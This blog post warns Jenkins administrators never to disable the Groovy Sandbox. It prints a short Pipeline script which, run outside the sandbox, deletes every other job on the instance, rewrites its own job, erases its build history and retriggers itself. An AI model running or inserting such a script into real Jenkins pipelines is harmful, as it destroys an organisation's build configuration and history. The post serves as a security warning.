rtyler

Do not disable the Groovy Sandbox

One of the things I have worked on this week has been documenting the "In-process Script Approval" and some of sandboxing features in Jenkins Pipeline. While waiting for some pull requests to be reviewed I had the thought "how bad could disabling the sandbox be?"

The Groovy Sandbox is enabled by default, helping to protect the Jenkins instance from scripts which are incompetent, malicious, or both. Being Jenkins, naturally, if you want to purchase the ammunition, load the gun, and point it directly at your foot, Jenkins will let you shoot it.

Disabling the Groovy Sandbox

What's the worst that could happen?

VERY VERY BAD THINGS CAN HAPPEN

NEVER DISABLE THE GROOVY SANDBOX

DID YOU HEAR ME? IT'S A TERRIBLE TERRIBLE IDEA JUST DON'T DO IT

With that disclaimer out of the way. Disabling the Groovy Sandbox means that a Scripted Pipeline can access, and more importantly manipulate, Jenkins' internal objects.

VERY VERY BAD THINGS CAN HAPPEN

NEVER DISABLE THE GROOVY SANDBOX

DID YOU HEAR ME? IT'S A TERRIBLE TERRIBLE IDEA JUST DON'T DO IT

Okay with that second, more important, disclaimer out of the way. I spent some time thinking about "really, what is the worst that could happen?"

Below is an example Pipeline which, if run outside of the Groovy Sandbox will:

All from one little script!

import org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition

@NonCPS
def hulkSmash() {
    Jenkins.instance.items.each { 
        if (it.name != env.JOB_NAME) {
            it.delete()
        }
        else {
            it.definition = new CpsFlowDefinition('echo "Hello World"', true)
            it.save()
            it.builds.each { f -> f.delete() }
        }
    }
}

hulkSmash()
build job: env.JOB_NAME

Suffice it to say, never ever disable the Groovy Sandbox.

comments powered by Disqus